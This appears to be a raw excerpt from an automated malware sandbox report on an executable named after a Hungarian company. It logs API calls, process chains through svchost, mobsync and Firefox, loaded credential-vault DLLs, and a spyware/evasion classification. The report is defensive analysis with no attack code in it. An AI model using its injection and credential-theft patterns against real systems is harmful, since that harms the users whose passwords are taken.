                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042C483 NtClose,1_2_0042C483
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972B60 NtClose,LdrInitializeThunk,1_2_03972B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972DF0 NtQuerySystemInformation,LdrInitializeThunk,1_2_03972DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039735C0 NtCreateMutant,LdrInitializeThunk,1_2_039735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03974340 NtSetContextThread,1_2_03974340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03974650 NtSuspendThread,1_2_03974650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972B80 NtQueryInformationFile,1_2_03972B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972BA0 NtEnumerateValueKey,1_2_03972BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972BF0 NtAllocateVirtualMemory,1_2_03972BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972BE0 NtQueryValueKey,1_2_03972BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972AB0 NtWaitForSingleObject,1_2_03972AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972AD0 NtReadFile,1_2_03972AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972AF0 NtWriteFile,1_2_03972AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972F90 NtProtectVirtualMemory,1_2_03972F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972FB0 NtResumeThread,1_2_03972FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972FA0 NtQuerySection,1_2_03972FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972FE0 NtCreateFile,1_2_03972FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972F30 NtCreateSection,1_2_03972F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972F60 NtCreateProcessEx,1_2_03972F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972E80 NtReadVirtualMemory,1_2_03972E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972EA0 NtAdjustPrivilegesToken,1_2_03972EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972EE0 NtQueueApcThread,1_2_03972EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972E30 NtWriteVirtualMemory,1_2_03972E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972DB0 NtEnumerateKey,1_2_03972DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972DD0 NtDelayExecution,1_2_03972DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972D10 NtMapViewOfSection,1_2_03972D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972D00 NtSetInformationFile,1_2_03972D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972D30 NtUnmapViewOfSection,1_2_03972D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972CA0 NtQueryInformationToken,1_2_03972CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972CC0 NtQueryVirtualMemory,1_2_03972CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972CF0 NtOpenProcess,1_2_03972CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972C00 NtQueryInformationProcess,1_2_03972C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972C70 NtFreeVirtualMemory,1_2_03972C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03972C60 NtCreateKey,1_2_03972C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03973090 NtSetValueKey,1_2_03973090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03973010 NtOpenDirectoryObject,1_2_03973010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039739B0 NtGetContextThread,1_2_039739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03973D10 NtOpenProcessToken,1_2_03973D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03973D70 NtOpenThread,1_2_03973D70
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_0079A1EF
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00788310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00788310
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007951BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_007951BD
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075D9750_2_0075D975
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0073FCE00_2_0073FCE0
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007521C50_2_007521C5
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007662D20_2_007662D2
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007B03DA0_2_007B03DA
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0076242E0_2_0076242E
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007525FA0_2_007525FA
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0078E6160_2_0078E616
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007466E10_2_007466E1
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0073E6A00_2_0073E6A0
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0076878F0_2_0076878F
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007B08570_2_007B0857
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007668440_2_00766844
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007488080_2_00748808
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007988890_2_00798889
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075CB210_2_0075CB21
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00766DB60_2_00766DB6
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00746F9E0_2_00746F9E
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007430300_2_00743030
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075F1D90_2_0075F1D9
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007531870_2_00753187
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007312870_2_00731287
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007514840_2_00751484
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007455200_2_00745520
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007576960_2_00757696
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007457600_2_00745760
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007519780_2_00751978
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00769AB50_2_00769AB5
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007B7DDB0_2_007B7DDB
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0075BDA60_2_0075BDA6
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00751D900_2_00751D90
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0073DF000_2_0073DF00
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00743FE00_2_00743FE0
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0196C7480_2_0196C748
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004183B31_2_004183B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004029291_2_00402929
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004029301_2_00402930
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004012001_2_00401200
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042EAA31_2_0042EAA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FBF31_2_0040FBF3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402DF01_2_00402DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040DDF31_2_0040DDF3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004025901_2_00402590
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004165B31_2_004165B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040FE131_2_0040FE13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040DF431_2_0040DF43
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040DF371_2_0040DF37
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A003E61_2_03A003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394E3F01_2_0394E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FA3521_2_039FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C02C01_2_039C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E02741_2_039E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A001AA1_2_03A001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F41A21_2_039F41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F81CC1_2_039F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DA1181_2_039DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039301001_2_03930100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039C81581_2_039C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D20001_2_039D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393C7C01_2_0393C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039647501_2_03964750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039407701_2_03940770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395C6E01_2_0395C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A005911_2_03A00591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039405351_2_03940535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EE4F61_2_039EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E44201_2_039E4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F24461_2_039F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F6BD71_2_039F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FAB401_2_039FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393EA801_2_0393EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A0A9A61_2_03A0A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039429A01_2_039429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039569621_2_03956962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039268B81_2_039268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0396E8F01_2_0396E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394A8401_2_0394A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039428401_2_03942840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039BEFA01_2_039BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03932FC81_2_03932FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03960F301_2_03960F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E2F301_2_039E2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03982F281_2_03982F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B4F401_2_039B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03952E901_2_03952E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FCE931_2_039FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FEEDB1_2_039FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0393AE0D1_2_0393AE0D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FEE261_2_039FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940E591_2_03940E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03958DBF1_2_03958DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DCD1F1_2_039DCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394AD001_2_0394AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E0CB51_2_039E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03930CF21_2_03930CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03940C001_2_03940C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0398739A1_2_0398739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F132D1_2_039F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392D34C1_2_0392D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039452A01_2_039452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395B2C01_2_0395B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395D2F01_2_0395D2F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E12ED1_2_039E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0394B1B01_2_0394B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A0B16B1_2_03A0B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0392F1721_2_0392F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397516C1_2_0397516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EF0CC1_2_039EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039470C01_2_039470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F70E91_2_039F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FF0E01_2_039FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FF7B01_2_039FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F16CC1_2_039F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039856301_2_03985630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DD5B01_2_039DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03A095C31_2_03A095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F75711_2_039F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FF43F1_2_039FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039314601_2_03931460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395FB801_2_0395FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B5BF01_2_039B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0397DBF91_2_0397DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FFB761_2_039FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039DDAAC1_2_039DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03985AA01_2_03985AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039E1AA31_2_039E1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039EDAC61_2_039EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FFA491_2_039FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F7A461_2_039F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B3A6C1_2_039B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039D59101_2_039D5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039499501_2_03949950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395B9501_2_0395B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039438E01_2_039438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039AD8001_2_039AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03941F921_2_03941F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FFFB11_2_039FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03903FD21_2_03903FD2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03903FD51_2_03903FD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FFF091_2_039FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03949EB01_2_03949EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0395FDC01_2_0395FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F1D5A1_2_039F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03943D401_2_03943D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039F7D731_2_039F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039FFCF21_2_039FFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039B9C321_2_039B9C32
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0392B970 appears 262 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03975130 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 039AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 039BF290 appears 103 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03987E54 appears 107 times
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: String function: 00750AE3 appears 70 times
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: String function: 00737DE1 appears 36 times
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: String function: 00758900 appears 42 times
                Source: BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1688476330.000000000448D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs BASF Hung#U00e1ria Kft.exe
                Source: BASF Hung#U00e1ria Kft.exe, 00000000.00000003.1687352494.00000000042E3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs BASF Hung#U00e1ria Kft.exe
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@14/10
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079A06A GetLastError,FormatMessageW,0_2_0079A06A
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007881CB AdjustTokenPrivileges,CloseHandle,0_2_007881CB
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007887E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_007887E1
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_0079B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_0079B333
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007AEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_007AEE0D
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_007A83BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,0_2_007A83BB
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeCode function: 0_2_00734E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00734E89
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeFile created: C:\Users\user\AppData\Local\Temp\autA792.tmpJump to behavior
                Source: BASF Hung#U00e1ria Kft.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: mobsync.exe, 00000004.00000003.2117331778.0000000003204000.00000004.00000020.00020000.00000000.sdmp, mobsync.exe, 00000004.00000002.3553043634.0000000003204000.00000004.00000020.00020000.00000000.sdmp, mobsync.exe, 00000004.00000003.2117217730.00000000031E4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: BASF Hung#U00e1ria Kft.exeReversingLabs: Detection: 23%
                Source: unknownProcess created: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe"
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe"
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeProcess created: C:\Windows\SysWOW64\mobsync.exe "C:\Windows\SysWOW64\mobsync.exe"
                Source: C:\Windows\SysWOW64\mobsync.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exe"Jump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeProcess created: C:\Windows\SysWOW64\mobsync.exe "C:\Windows\SysWOW64\mobsync.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\BASF Hung#U00e1ria Kft.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mobsync.exeSection loaded: cryptbase.dllJump to behavior
